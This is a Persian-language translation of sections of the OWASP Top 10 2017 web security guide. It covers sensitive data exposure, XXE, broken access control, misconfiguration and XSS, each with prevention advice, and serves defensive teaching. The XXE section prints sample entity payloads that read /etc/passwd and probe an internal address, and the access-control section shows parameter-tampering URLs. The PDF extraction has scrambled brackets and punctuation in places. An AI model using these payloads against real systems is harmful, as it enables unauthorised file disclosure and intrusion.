* آیــا رمزگــذاری اعمــال نشــده اســت، بــه عنــوان مثــال آیــا هــر کــدام دســتورالعمل هــای امنیتــی یــا هــدر هــای 

امنیتــی کاربــر )مرورگــر( از دســت رفتــه اســت؟
* آیا عامل کاربر )مثلا برنامه، مشتری پست الکترونیکی( تأییدیه گواهی سرور دریافت شده را تأیید نمی کند؟

)URL Rewriting قابل مشاهده باشد. )مثل URL شناسه نشست در *
* شناسه نشست پس از ورود موفق، تغییر نکرده باشد.

ــر یــا توکــن هــای احــراز هویــت )بــه خصــوص توکــن  * شناســه هــای نشســت تــداوم نداشــته باشــند. نشســت هــای کارب

ــر  ــازه ای از زمــان، نامعتب ــا عــدم فعالیــت در ب ــگام خــروج از سیســتم ی هــای Single sign-on SSO( در هن
نمــی شــود.

مثال‌هایی از سناریوهای حمله
ســناریو شــماره 1: یــک برنامــه شــماره هــای کارت اعتبــاری را در پایــگاه داده بــا اســتفاده از رمزگــذاری خــودکار 
پایــگاه داده رمزنــگاری مــی کنــد.  بــا ایــن حــال، هنــگام فراخوانــی، ایــن داده هــا بــه صــورت خــودکار رمزگشــایی 
مــی شــود، و بــه یــک نقــص تزریــق SQL اجــازه مــی دهــد شــماره کارت اعتبــاری را در حالــت کشــف بازیابــی کنــد.

ســناریو شــماره 2: یــک ســایت از TLS بــرای تمــام صفحــات اســتفاده نمــی کنــد و یــا از رمزنــگاری ضعیــف 
پشــتیبانی مــی کنــد. یــک مهاجــم ترافیــک شــبکه را شــنود مــی کنــد )بــه عنــوان مثــال در یــک شــبکه بــی ســیم 
ناامــن(، ارتباطــات را از HTTPS بــه HTTP تنــزل مــی دهــد، درخواســت هــای بیــن کاربــر اصلــی و ســرور را 
ــن کوکــی اســتفاده مــی  ــس از آن از ای ــد. مهاجــم پ ــر را ســرقت مــی کن ــد، و کوکــی نشســت کارب قطــع مــی کن
کنــد و نشســت کاربــر )احــراز هویــت شــده( را دزدیــده، بــه داده هــای شــخصی کاربــر دسترســی پیــدا مــی کنــد یــا 
آنهــا را تغییــر مــی دهــد. بــه جــای مــوارد بــالا مــی توانــد تمــام داده هــای منتقــل شــده مثــل دریافــت کننــده یــک 

انتقــال مالــی را تغییــر دهــد.
ــور  ــه عب ــره کلم ــرای ذخی ــا ســاده ب ــور از هــش هــای unsalted ی ــز عب ــگاه داده رم ــماره 3: پای ــناریو ش س
اســتفاده مــی کنــد. یــک نقــص آپلــود فایــل بــه مهاجــم اجــازه مــی دهــد رمــز عبــور پایــگاه داده را بازیابــی کنــد. 
تمــام هــش هــای unsalted را مــی تــوان بــا یــک جــدول از هــش هــای پیــش محاســبه شــده شکســت. هــش 
هــای تولیــد شــده توســط توابــع هــش ســاده یــا ســریع ممکــن اســت توســط GPU هــا شکســته شــوند، حتــی اگــر 

از نــوع salted باشــند.

نحوه پیشگیری از حمله
حداقل موارد زیر را دنبال کنید و مراجع را دنبال کنید:

ــر  ــد.. ب ــا ارســال شــده توســط یــک برنامــه را طبقــه بنــدی کنی ــره شــده، و ی ــردازش شــده، ذخی * داده هــای پ
اســاس قوانیــن حریــم خصوصــی، الزامــات قانونــی یــا نیازهــای تجــاری، داده هــای حســاس را شناســایی کنیــد.

 طبق طبقه بندی، کنترل ها را اعمال کنید.
ــا از توافــق  ــد ی ــد. در اســرع وقــت آن را حــذف کنی ــره نکنی ــاز، داده هــای حســاس را ذخی * در صــورت عــدم نی
PCI DSS بــرای علامــت گــذاری یــا حتــی ناقــص ســازی اســتفاده کنیــد. داده هایــی کــه ذخیــره نمــی شــوند 

نمــی تواننــد ســرقت شــوند.
* اطمینان حاصل کنید که همه اطلاعات حساس در حالت ذخیره را رمزگذاری کرده اید.

ــوی در جــای خــود  ــه روز و ق ــکل هــا و کلیدهــای اســتاندارد ب ــم هــا، پروت ــد از الگوریت ــان حاصــل کنی * اطمین
ــد. ــد مناســب اســتفاده کنی ــت کلی اســتفاده مــی شــود. از مدیری

ــه  ــای محرمان ــا رمزه ــد TLS ب ــن مانن ــای ام ــکل ه ــا پروت ــال ب ــال انتق ــای در ح ــام داده ه ــذاری تم * رمزگ
بــدون نقــص  )PFS(، اولویــت بنــدی رمــز توســط ســرور و پارامترهــای امــن. اعمــال رمزگــذاری بــا اســتفاده از 

.HTTP Security Transport Strict Security HSTS دســتورالعمل هایــی ماننــد
* برای پاسخ هایی که حاوی اطلاعات حساس هستند، ذخیره سازی )Caching(غیرفعال شود.

* رمزهــای عبــور را بــا اســتفاده از توابــع هــش قــوی منطبــق و هــش salting بــا یــک عامــل کار )عامــل تاخیــر( 
ماننــد Argon2 و Scrypt و bcrypt یــا BFKDF2 ذخیــره کنیــد.

* به طور مستقل اثربخشی پیکربندی و تنظیمات را بررسی کنید.
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یــک شکســت امنیتــی عمومــاً تمامــی داده هایــی کــه بایــد محافظت 
شــوند را بــه خطــر مــی انــدازد.

بــه طــور معمــول، ایــن اطلاعــات شــامل اطلاعــات شــخصی 
حســاس )PII(  ماننــد پرونــده هــای بهداشــتی، اعتبارنامــه، اطلاعات 
شــخصی و کارت هــای اعتبــاری اســت کــه اغلــب نیــاز بــه حفاظــت 
بــر اســاس قوانیــن یــا مقرراتــی ماننــد GDPR اتحادیــه اروپــا یــا 

ــد. قوانیــن حفــظ حریــم خصوصــی محلــی دارن

ــج  ــات رای ــی از حم ــه یک ــن ب ــته ای ــال گذش ــد س ــول چن در ط
ــز  ــم رم ــج ه ــتباه رای ــن اش ــت. بزرگتری ــده اس ــل ش ــیب تبدی پرآس

ــت. ــاس اس ــات حس ــردن اطلاع نک
ــه  ــرور ب ــمت س ــای س ــف ه ــال، ضع ــال انتق ــات در ح ــرای اطلاع ب

ــتند. ــخیص هس ــل تش ــی قاب راحت

مهاجمــان بجــای حمــات مخفیانــه بــه صــورت مســتقیم، اقــدام بــه 
ســرقت کلیدهــا، اجــرای حمــات مــرد میانــی، یــا ســرقت اطلاعــات 
رمــز نشــده ســمت ســرور یــا کاربــر، هنــگام انتقــال اطلاعــات مــی 
کننــد. بــرای مثــال مرورگــر. معمــولًا یــک حملــه دســتی لازم اســت. 
 GPU قبــاً بانــک هــای داده رمــز عبــور بازیابــی شــده بایــد توســط

هــا مــورد حملــه brute force قــرار مــی گرفــت.

تاثیرات ضعف امنیتی بردارهای حمله

تجاری : ؟ فنی : 3 قابلیت تشخیص : 3 شیوع : 2 قابلیت بهره برداری :2 App. Specific

ــد بــرای اســتخراج داده هــا، اجــرای یــک  ایــن نقــص هــا مــی توان
درخواســت ریمــوت از ســمت ســرور، اســکن سیســتم هــای داخلــی، 
انجــام حملــه اختــال در ســرویس و همچنیــن اجــرای ســایر 

ــود. ــتفاده ش ــات اس حم
تاثیــر کســب و کار بســتگی بــه الزامــات حفاظتــی همــه برنامــه هــای 

کاربــردی متاثــر و داده هــا دارد.

بــه طــور پیــش فــرض، بســیاری از پردازنــده هــای قدیمــی تــر XML اجــازه 
ــگام  ــه در هن ــک URI  ک ــی دهند،)ی ــی را م ــود خارج ــک موج ــن ی تعیی
ــن  ــد ای ــی توان ــای SAST م ــود(. ابزاره ــی ش ــی م ــردازش XML ارزیاب پ
ــای  ــد. ابزاره ــف کن ــدی کش ــا و پیکربن ــتگی ه ــی وابس ــا بررس ــئله را ب مس
DAST نیــاز بــه مراحــل دســتی بیشــتر بــرای شناســایی و بهــره بــرداری از 

ایــن مســئله دارنــد. آزمایــش کننــدگان دســتی بایــد بــرای چگونگــی آزمایــش  
ــد. XXE آمــوزش ببیننــد، زیــرا معمــولا از ســال 2017 آزمایــش نشــده ان

اگــر مهاجمــان بتواننــد XML بارگــذاری کننــد یــا محتــوای آلــوده در 
یــک ســند XML وارد کننــد، از کــد هــا ، وابســتگی هــا یــا ادغــام 
ــده هــای  ــد از پردازن ــد، مــی توانن ــر اســتفاده کنن هــای  آســیب پذی

XML آســیب پذیــر بــرای مقاصــد خــود بهــره بــرداری کننــد.

XML External Entities (XXE( A4 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

ــت  ــن دس ــای پایی ــام ه ــا ادغ ــر XML ی ــی ب ــای وب مبتن ــرویس ه ــژه س ــه وی ــردی و ب ــای کارب ــه ه برنام
)downstream integrations( ممکــن اســت در شــرایط زیــر بــرای حملــه آســیب پذیــر باشــند:

ــع نامشــخص،  ــژه از مناب ــه وی ــا آپلودهــای XML را قبــول مــی کنــد، ب ــه طــور مســتقیم ی * برنامــه XML را ب
 XML ــده ــه اســناد XML وارد مــی کنــد کــه ســپس توســط یــک پردازن ــل اعتمــاد را ب ــا داده هــای غیــر قاب ی

پــردازش مــی شــود.
 SOAP (document ــر ــی ب ــا وب ســرویس هــای مبتن ــزار ی ــرم اف ــده هــای XML در ن ــک از پردازن * هــر ی
 ،DTD  هــا را فعــال کــرده انــد.  بــه عنــوان مکانیــزم دقیــق بــرای غیرفعــال کــردن پــردازش )type definition

بهتریــن کار اســتفاده از مرجعــی ماننــد OWASP Cheat Sheet 'XXE Prevention' اســت.
* اگــر برنامــه شــما از SAML بــرای پــردازش هویــت در خــال امنیــت یکپارچــه یــا اهــداف  )SSO( اســتفاده مــی 

کنــد.SAML  از XML بــرای اثبــات هویــت اســتفاده مــی کنــد و ممکــن اســت آســیب پذیــر باشــد.
ــر  ــات XXE اســت اگ ــه حم ــالا حســاس ب ــد، احتم ــتفاده کن ــل از نســخه 1.2 اس ــه از SOAP قب ــر برنام * اگ

ــوند. ــل ش ــوب SOAP  منتق ــه چارچ ــای XML ب ــت ه موجودی
* آســیب پذیــر بــودن بــه حمــات XXE بــه ایــن معنــی اســت کــه برنامــه بــه حمــات انــکار ســرویس، از جملــه 

حملــه Billion Laughs، آســیب پذیــر اســت.

مثال‌هایی از سناریوهای حمله
 Embedded.  بــه صــورت عمومــی کشــف شــده اســت، از جملــه حملــه بــه دســتگاه هــای XXE مــوارد متعــدد
XXE در بســیاری از مــکان هــای غیــر منتظــره، از جملــه وابســتگی هــای )nested dependencies( عمیــق رخ 

مــی دهــد. ســاده تریــن راه ایــن اســت کــه فایــل XML  مخــرب را آپلــود کنیــد، اگــر قبــول شــد:
سناریو شماره 1: مهاجم تلاش می کند تا داده ها را از سرور استخراج کند:

>?"1-8859-encoding="ISO "1.0"=xml version?<

  DOCTYPE foo!< ]

 > ELEMENT foo ANY!<

 >]> "ENTITY xxe SYSTEM "file:///etc/passwd!<

>foo>&xxe;</foo<

ــر،  ــه خــط زی ــالا ب ــر خــط ENTITY ب ــا تغیی ســناریو شــماره 2: مهاجــم شــبکه خصوصــی ســرور را ب
ــد: کاوش مــی کن

>]>"ENTITY xxe SYSTEM "https://192.168.1.1/private !<

سناریو شماره 3: یک مهاجم با استفاده از یک فایل بی پایان، حمله انکار سرویس را انجام می دهد:
>]>"ENTITY xxe SYSTEM "file: /// dev / random !<

نحوه پیشگیری از حمله
حداقل موارد زیر را دنبال کنید و مراجع را دنبال کنید:

 XXE ضــروری اســت. عــاوه بــر ایــن، جلوگیــری از XXE آمــوزش برنامــه نویــس بــرای شناســایی و مقابلــه بــا
نیــاز دارد:

* هــر زمــان کــه امــکان دارد، از فرمــت هــای داده ای کمتــری ماننــد JSON اســتفاده شــود و از ســریال ســازی 
)تسلســل و ترتیــب( اطلاعــات حســاس جلوگیــری شــود.

* Patch یــا ارتقــاء تمامــی پردازنــده هــای XML و کتابخانــه هــا کــه توســط برنامــه کاربــردی یــا در سیســتم 

 1.2 SOAP را بــه  SOAP .عامــل اصلــی اســتفاده مــی شــود. از بررســی کننــده هــای وابســتگی اســتفاده کنیــد
یــا بالاتــر بــه روز رســانی کنیــد.

ــد ،  ــال کنی ــر فع ــه را غی ــای XML در برنام ــام پارســر ه ــردازش DTD در تم ــت خارجــی XML و پ * موجودی
ــت. ــال اس ــر فع ــه در OWASP Cheat Sheet 'XXE Prevention'  غی ــور ک همانط

* اعتبــار ســنجی ، فیلتــر کــردن و sanitization  ورودی را در ســمت ســرور بــرای جلوگیــری از انتقــال اطلاعــات 
مخــرب در اســناد XML ، هدرهــا یــا گــره هــا پیــاده ســازی کنیــد.

ــا اســتفاده از XSD  یــا مشــابه  * بررســی کنیــد کــه عملکــرد آپلــود فایــل XML یــا XSL، ورودی  XML را ب
آن، اعتبــار ســنجی مــی کنــد.

* ابزارهــای SAST  مــی توانــد بــه شناســایی XXE در کــد برنامــه کمــک کنــد، اگــر چــه بررســی دســتی کــد 
بهتریــن گزینــه در برنامــه هــای بــزرگ و پیچیــده اســت.

* اگــر ایــن کنتــرل هــا امــکان پذیــر نیســت، از وصلــه هــای مجــازی، دروازه هــای امنیتــی API یــا فایــروال هــای 
وب )WAF(  بــرای شناســایی، نظــارت و توقــف حمــات XXE اســتفاده کنیــد .
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تأثیــر فنــی ایــن اســت کــه مهاجمــان بــه عنــوان کاربــران یــا ادمیــن 
ــا دسترســی  ــع ب ــران از تواب ــا اســتفاده کارب ــد، ی هــا عمــل مــی کنن
ــر  ــذف ه ــا ح ــانی و ی ــه روز رس ــا ایجــاد، دسترســی، ب ــاص ، و ی خ

رکــورد.
ــه و داده  ــی برنام ــات حفاظت ــه الزام ــتگی ب ــب و کار بس ــر کس تاثی

ــا دارد. ه

ــل نقــص در تشــخیص خــودکار  ــه دلی ــاً ب ــرل دسترســی عموم ــای کنت ــف ه ضع
ــزار وجــود  ــرم اف ــر توســط توســعه دهنــدگان ن و نقــص در تســت عملکــردی مؤث

ــد. دارن
تشــخیص کنتــرل دسترســی بــه طــور معمــول نمــی توانــد بــا توســل بــه آزمایــش 
ایســتا یــا پویــای خــودکار انجــام شــود. تســت دســتی بهتریــن راه بــرای شناســایی 
 HTTP( کنتــرل دسترســی نــاکارا یــا نبود کنتــرل دسترســی اســت، از جملــه روش

GET , POST)، کنتــرل کننــده هــا، direct object references و غیــره.

ــرداری از کنتــرل دسترســی یــک مهــارت اصلــی مهاجمــان  بهــره ب
ــرل  ــدان کنت ــد فق ــی توانن ــای SAST  و DAST م ــت. ابزاره اس
دسترســی را تشــخیص دهنــد امــا اگــر کنتــرل دسترســی وجود داشــته 
ــرل دسترســی  ــد. کنت ــد کنن ــد تأیی باشــد، عملکــرد آن را نمــی توانن
بــا اســتفاده از ابــزار دســتی و یــا احتمــالا از طریــق خــودکار ســازی 
بــرای فقــدان کنتــرل دسترســی هــا در چارچــوب هــای خــاص قابــل 

شناســایی اســت.

نقض کنترل دسترسی A5 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

ــران نمــی تواننــد خــارج از مجــوز هــای  ــد کــه کارب ــه ای اعمــال مــی کن ــه گون کنتــرل دسترســی سیاســت را ب
مرتبــط بــا خــود عمــل کننــد.  شکســت هــا معمــولا بــه افشــای اطلاعــات غیــر مجــاز، اصــاح یــا خــراب کــردن 

تمــام داده هــا یــا انجــام یــک کار تجــاری در خــارج از محــدوده کاربــر منجــر مــی شــود.
آسیب پذیری های رایج کنترل دسترسی عبارتند از:

ــه  ــا صفح ــردی ، ی ــه کارب ــت برنام ــر URL ، وضعی ــق تغیی ــی از طری ــرل دسترس ــای کنت ــی ه * دور زدن بررس
. API ــه ــی حمل ــزار سفارش ــک اب ــتفاده از ی ــا اس ــا ب HTML ، ی

ــا ویرایــش  ــران دیگــر ، اجــازه مشــاهده ی ــا رکــورد کارب ــرای تعویــض شــدن ب ــه کلیــد اصلــی ب * اجــازه دادن ب
ــری دیگــر. حســاب کارب

* بــالا بــردن امتیــاز. کار کــردن بــه عنــوان یــک کاربــر بــدون ورود بــه سیســتم و یــا کار کــردن بــه عنــوان یــک 
مدیــر زمانــی کــه بــه عنــوان یــک کاربــر وارد سیســتم شــده اســت.

ــا یــک  )JSON Web Token (JWT ، توکــن کنتــرل  ــه ب ــا مداخل ــا، ماننــد بازنویســی ی ــا دیت * دســتکاری مت
ــا ســوء اســتفاده از باطــل  ــاز ی ــرای افزایــش امتی ــد پنهــان دســتکاری شــده ب ــا فیل ــا یــک کوکــی ی دسترســی ی

JWTــازی س
* اشتباه تنظیم CORS اجازه دسترسی غیر مجاز API را می دهد.

* اجبــار بــه مــرور صفحــات مجــاز بــه عنــوان یــک کاربــر نامعتبــر یــا صفحــات مجــاز بــه عنــوان یــک کاربــر 
.DELETE و POST ، PUT ــرای ــا کنتــرل دسترســی هــای منقضــی شــده ب ــه API  ب ــی. دسترســی ب معمول

مثال‌هایی از سناریوهای حمله
ســناریو شــماره 1: برنامــه از داده هــای تأییــد نشــده در یــک تمــاس SQL کــه دسترســی بــه اطلاعــات حســاب 

را دارد اســتفاده مــی کنــد:
 ;))"request.getParameter("acct ,1(pstmt.setString

;) (ResultSet results = pstmt.executeQuery

مهاجــم بــه ســادگی پارامتــر 'acct' را در مرورگــر بــرای ارســال بــه هــر تعــداد حســاب کاربــری مــورد نظــر تغییــر مــی 
دهــد. اگــر بــه درســتی تأییــد نشــده باشــد، مهاجــم میتوانــد بــه هــر حســاب کاربــر دسترســی پیــدا کنــد.

http://example.com/app/accountInfo?acct=notmyacct

ســناریو شــماره 2: مهاجــم بــه ســادگی URL هــای هــدف را مــرور مــی کنــد.  حقــوق مدیــر بــرای دسترســی 
بــه صفحــه مدیریــت لازم اســت.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

اگــر یــک کاربــر احــراز هویــت نشــده بتوانــد بــه هــر کــدام از صفحــه هــا دسترســی داشــته باشــد، ایــن یــک نقــص 
اســت. اگــر غیــر مدیــر بتوانــد بــه صفحــه مدیریــت دسترســی پیــدا کنــد، ایــن یــک نقــص اســت.

نحوه پیشگیری از حمله

کنتــرل دسترســی تنهــا در صورتــی کــه در کــد ســمت ســرور مــورد اعتمــاد یــا API بــدون ســرور اعمــال شــود، 
مؤثــر اســت، جایــی کــه مهاجــم نمــی توانــد بررســی کنتــرل دسترســی یــا متــا دیتــا را تغییــر دهــد.

)Deny by default( . به استثنای منابع عمومی، انکار به طور پیشفرض *
ــه  ــه ب ــار اعمــال مکانیســم هــای کنتــرل دسترســی و اســتفاده مجــدد از آنهــا در طــول برنامــه، از جمل * یــک ب

.CORS ــتفاده از ــاندن اس ــل رس حداق
* کنتــرل دسترســی بایــد مالکیــت رکوردهــا را بــه جــای پذیرفتــن اینکــه کاربــر مــی توانــد هــر رکــوردی را ایجــاد، 

خوانــدن، بــه روز رســانی و یــا حــذف کنــد، اعمــال کنــد.
* الزامات محدودیت کسب و کار یکتا باید توسط مدل های دامنه اعمال شود.

* غیــر فعــال کــردن فهرســت دایرکتــوری وب ســرور و اطمینــان از اینکــه متــا دیتــای فایــل )بــه عنــوان مثــال 
git( و فایــل هــای پشــتیبان در ریشــه هــای وب موجــود نیســت.

ــال،  ــرای مث ــد )ب ــران هشــدار ده ــه مدی ــزوم ب ــد، در صــورت ل ــت کنی ــرل دسترســی را ثب * شکســت هــای کنت
شکســت هــای مکــرر(.

* بعــد از خــروج ، JWT Token هــا بایــد روی ســرور نــا معتبــر شــود. توســعه دهنــدگان و کارکنــان QA بایــد 
کنتــرل دسترســی عملکــردی و تســت هــای یکپارچــه ســازی را در نظــر بگیرنــد.
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تأثیــر فنــی ایــن اســت کــه مهاجمــان بــه عنــوان کاربــران یــا ادمیــن 
ــا دسترســی  ــع ب ــران از تواب ــا اســتفاده کارب ــد، ی هــا عمــل مــی کنن
ــر  ــذف ه ــا ح ــانی و ی ــه روز رس ــا ایجــاد، دسترســی، ب ــاص ، و ی خ

رکــورد.
ــه و داده  ــی برنام ــات حفاظت ــه الزام ــتگی ب ــب و کار بس ــر کس تاثی

ــا دارد. ه

ــل نقــص در تشــخیص خــودکار  ــه دلی ــاً ب ــرل دسترســی عموم ــای کنت ــف ه ضع
ــزار وجــود  ــرم اف ــر توســط توســعه دهنــدگان ن و نقــص در تســت عملکــردی مؤث

ــد. دارن
تشــخیص کنتــرل دسترســی بــه طــور معمــول نمــی توانــد بــا توســل بــه آزمایــش 
ایســتا یــا پویــای خــودکار انجــام شــود. تســت دســتی بهتریــن راه بــرای شناســایی 
 HTTP( کنتــرل دسترســی نــاکارا یــا نبود کنتــرل دسترســی اســت، از جملــه روش

GET , POST)، کنتــرل کننــده هــا، direct object references و غیــره.

ــرداری از کنتــرل دسترســی یــک مهــارت اصلــی مهاجمــان  بهــره ب
ــرل  ــدان کنت ــد فق ــی توانن ــای SAST  و DAST م ــت. ابزاره اس
دسترســی را تشــخیص دهنــد امــا اگــر کنتــرل دسترســی وجود داشــته 
ــرل دسترســی  ــد. کنت ــد کنن ــد تأیی باشــد، عملکــرد آن را نمــی توانن
بــا اســتفاده از ابــزار دســتی و یــا احتمــالا از طریــق خــودکار ســازی 
بــرای فقــدان کنتــرل دسترســی هــا در چارچــوب هــای خــاص قابــل 

شناســایی اســت.
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ایــن سیســتم، بــدون اطــاع شــما میتوانــد بــه طــور کامــل بــه خطــر 
ــه ســرقت  ــان ب ــد در طــول زم ــما میتوان ــات ش ــام اطلاع ــد. تم بیفت

رفتــه و یــا تغییــر کنــد. 
هزینه های بازیابی میتواند گران باشد. 

ــه  ــزار، ازجمل ــرم اف ــته ن ــک پش ــطحی از ی ــر س ــی در ه ــتباه امنیت ــات اش تنظیم
پلتفــرم، ســرور وب، ســرور برنامــه، پایــگاه داده، چارچــوب و کــد سفارشــی، 
ــم کار  ــد باه ــتم بای ــران سیس ــدگان و مدی ــعه دهن ــد .توس ــت رخ ده ــن اس ممک
ــده  ــدی ش ــتی پیکربن ــه درس ــته ب ــه کل پش ــود ک ــل ش ــان حاص ــا اطمین ــد ت کنن
اســت. اســکنرهای خــودکار بــرای تشــخیص پــچ هــای ازدســت رفتــه، غلــط بــودن 
ــره  ــروری و غی ــهای غیرض ــفرض، سرویس ــابهای پیش ــتفاده از حس ــات، اس تنظیم

ــتند.  ــد هس مفی

مهاجمیــن خارجــی ناشــناس و همچنیــن کاربــران مجــاز را کــه ممکــن اســت 

ــن  ــد. همچنی ــد در نظــر بگیری ــه خطــر اندازن ــا سیســتم را ب ــد ت تــاش کنن

افــراد داخلــی را کــه مایــل بــه انجــام اقداماتشــان هســتند را در نظــر بگیریــد. 

مهاجمیــن بــه  حســاب هــای پیشــفرض، صفحــات اســتفاده نشــده، نقــص 

ــدا  هــای ناخواســته ،فایلهــا و دایرکتوریهــای محافظــت نشــده دسترســی پی

میکننــد تــا دسترســی غیرمجــاز بــه سیســتم یــا دانــش آن را کســب کننــد.
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آیا نرم افزار شما از تنظیمات امنیتی مناسب در هر بخشی از برنامه رنج میبرد؟ از جمله: 

آیــا هیچکــدام از برنامــه هــای شــما از بیــن رفتــه انــد؟ ایــن برنامــه  شــامل OS، وب / برنامــه ســرور  	.1
،DBMS، برنامــه هــای کاربــردی، API هــا، و تمــام اجــزا و کتابخانــه هــا میشــود.

ــها،  ــا، سرویس ــال، پورته ــوان مث ــه عن ــد )ب ــده ان ــب ش ــا نص ــال ی ــروری فع ــای غیرض ــا ویژگیه آی 	.2
امتیــازات( ،حســابها،  صفحــات 

آیا حسابهای پیشفرض و گذر واژه های آنها هنوز هم فعال و بدون تغییر هستند؟  	.3
آیــا پــردازش خطــای شــما ردیابــی پشــته را نشــان میدهــد و یــا دیگــر پیامهــای خطــا، بیــش ازحــد  	.4

بــه کاربــران اطلاعــات میدهــد؟ 
 Spring ،Struts، ــد ــه )مانن ــوب برنام ــما، چارچ ــه  ش ــرورهای برنام ــی در س ــات امنیت ــا تنظیم آی 	.5
ــام  ــدون انج ــت؟ ب ــده اس ــن نش ــی، ام ــرای مقدارده ــره ب ــای داده و غی ــگاه ه ــا، پای ــه ه ASP.NET(، کتابخان

پیکربنــدی امنیتــی هماهنــگ و قابــل تکــرار ،سیســتمها در معــرض خطــر بیشــتر هســتند. 

مثال‌هایی از سناریوهای حمله
ســناریو شــماره 1: ســرور کنســول مدیریــت برنامــه به‌طــور خــودکار نصبشــده و حــذف نشــده اســت .حســابهای 
پیشــفرض تغییــر نمیکننــد مهاجــم صفحــات مدیــر قانونــی را بــر روی ســرور شــما پیــدا میکنــد، بــا کلمــات عبــور 

پیشــفرض وارد سیســتم میشــود و آن را تصــرف میکنــد. 
ــد به‌ســادگی  ــن میتوانن ــال نیســت. مهاجمی ــوری در ســرور وب شــما غیرفع ســناریو شــماره 2: فهرســت دایرکت
از دایرکتوریهــا بــرای یافتــن هــر فایلــی اســتفاده کننــد. مهاجــم همــه کلاســهای جــاوا کامپایــل شــده شــما را پیــدا 
ــی  ــوس تمام ــی معک ــتفاده از مهندس ــا اس ــد و ب ــل میکن ــه و تحلی ــپس تجزی ــد و س ــود میکن ــا را دانل ــد و آنه میکن
کدهــای سفارشــی خــود را از آن دریافــت میکنــد. ســپس مهاجــم یــک نقــص کنتــرل دسترســی خطرنــاک در برنامــه 

شــما پیــدا میکنــد. 
ســناریو شــماره 3: پیکربنــدی ســرور برنامــه  اجــازه میدهــد تــا ردیابــی پشــته هــا بــه کاربــران بازگردانــده شــود 

،به‌طــور بالقــوه معایــب اساســی ماننــد نســخه هــای چارچــوب کــه شــناخته شــده انــد، آســیب پذیرنــد. 
ــه اســت کــه از ســرور شــما حــذف نمیشــوند.  ــا برنامــه هــای نمون ســناریو شــماره 4: ســرور برنامــه همــراه ب
ایــن برنامــه هــای نمونــه دارای نقــص امنیتــی هســتند کــه مهاجمــان را قــادر میســازد از ســرور شــما اســتفاده کننــد. 

نحوه پیشگیری از حمله

توصیه های اولیه مقرر کردن تمام موارد زیر است: 
1. یــک فراینــد تکرارپذیــر کــه باعــث گســترش ســریع و آســان یــک محیــط دیگــر اســت کــه کامــا  محافظــت 
شــده میشــود. توســعه ،QA، و محیطهــای تولیــد بایــد یکســان پیکربنــدی شــده باشــند )بــا کلمــه عبــور مختلــف 
اســتفاده شــده در هــر محیــط (. ایــن فرآینــد بایــد بــه صــورت خــودکار انجــام شــود تــا تــاش کمتــری بــرای راه 

انــدازی یــک محیــط امنیتــی جدیــد ایجــاد شــود. 
2. یــک فراینــد کــه تمــام بــه روزرســانی هــا و پــچ هــای برنامــه ی جدیــد کــه بــه طــور همزمــان بــه هــر محیــط 
مستقرشــده، نگهــداری و گســترش میدهــد. ایــن فراینــد بایــد تمــام کامپننــت هــا و کتابخانــه هــا را نیــز شــامل 

شــود.
3. معماری برنامه ی قوی که جداسازی مؤثر و امن بین کامپننتها را فراهم میکند. 

4. یــک فرآینــد خــودکار بــرای تأییــد اینکــه پیکربنــدی هــا و تنظیمــات در کلیــه محیــط هــا بــه درســتی پیکربنــدی 
ــده اند.  ش

منابع
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 OWASP Code Review Guide: Chapter on Error Handling 	•
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 OWASP Testing Guide: Testing for Error Codes 	•
 OWASP Top 10 2004 - Insecure Configuration Management 	•

External

 NIST Guide to General Server Hardening 	•
 CWE Entry 2 on Environmental Security Flaws 	•
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ــد  ــرا کنن ــی اج ــر قربان ــکریپتها را در مرورگ ــد اس ــان میتوانن  مهاجم
ــوای  ــد، محت ــن ببرن ــد، وب ســایتها را از بی ــر را مســدود کنن ــا کارب ت
ــد و  ــت کنن ــران را هدای ــد، کارب ــادل وارد کنن ــود را متع ــه خ خصمان

ــای مخــرب بشــکنند.  ــه ه ــتفاده از برنام ــا اس ــر را ب ــر کارب مرورگ

XSS زمانــی رخ میدهــد کــه برنامــه  یــک صفحــه وب را بــا شــیوع اطلاعــات 

کنتــرل شــده مهاجــم، بــدون بازگشــت از آن محتــوا یــا بــدون بســیار شــایع 

 XSS ــب ــد. معای ــه‌روز میکن ــن ،ب ــاوا اســکریپت ام ــک API ج اســتفاده از ی

ــاب شــده اســت  ــی: ذخیرهشــده و بازت ــي شــامل دودســته اصل ــف امنیت ضع

ــوند.  ــاد ش ــت ایج ــا کلاین ــرور ی ــر روی س ــد ب ــا میتوانن ــدام از آنه و هرک

تشــخیص اکثــر نقص‌هــای XSS از طریــق تســت یــا تجزیــه و تحلیــل کــد 

بســیار راحــت اســت . شناســایی XSS ســمت کلاینــت بســیار دشــوار اســت. 

ــات  ــاوی اطلاع ــه  ح ــک برنام ــه ی ــد ک ــی رخ میده ــای XSS زمان نقصه

ــا یــک  غیرقابــل اعتمــاد در یــک صفحــه وب جدیــد بــدون مجــوز باشــد ی

صفحــه وب موجــود را بــا داده هــای ارائــه شــده توســط کاربــر بــا اســتفاده از 

یــک مرورگــر API کــه میتوانــد جــاوا اســکریپت تولیــد کنــد ،به‌روزرســانی 

کنــد .XSS بــه مهاجمیــن امــکان اجــرای اســکریپتها در مرورگــر قربانــی را 

میدهــد کــه میتوانــد جلــوی کاربــر را بگیــرد، وب‌ســایتها را خــراب کنــد یــا 

ــد.  ــت کن ــه ســایت‌های مخــرب هدای ــر را ب کارب

 Cross-Site Scripting (XSS(
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شــما بــه XSS ســمت ســرور آســیبپذیر هســتید اگــر کــد ســمت ســرور شــما از ورودی هــای ارســال شــده توســط 
کاربــر به‌عنــوان بخشــی از خروجــی HTML اســتفاده کنــد و شــما بایــد از escape حســاس بــه متــن، اســتفاده 
کنیــد تــا مطمئــن شــوید کــه نمیتوانــد اجــرا شــود. اگــر یــک صفحــه وب بــرای انتقــال پویــای داده هــای قابــل 
کنتــرل مهاجــم بــه یــک صفحــه، از جــاوا اســکریپت اســتفاده کنــد آنــگاه شــما دارای نقــص XSS کلاینــت هســتید. 
به‌طــور ایــده‌آل بایــد از ارســال داده هــای قابــل کنتــرل مهاجــم بــه API هــای جــاوا اســکریپت ناامــن اجتنــاب 

کنیــد، امــا اســتفاده از escape داده هــای ورودی میتوانــد شــما را امــن ســازد. 
ابزارهــای خــودکار میتواننــد برخــی از مشــکلات XSS را به‌صــورت خــودکار پیــدا کننــد .بــا اینحــال، هــر برنامــه  
صفحــات خروجــی را به‌صــورت متفاوتــی ایجــاد میکنــد و بــا اســتفاده از کتابخانــه هــای ســه‌جانبه بــر روی ایــن 
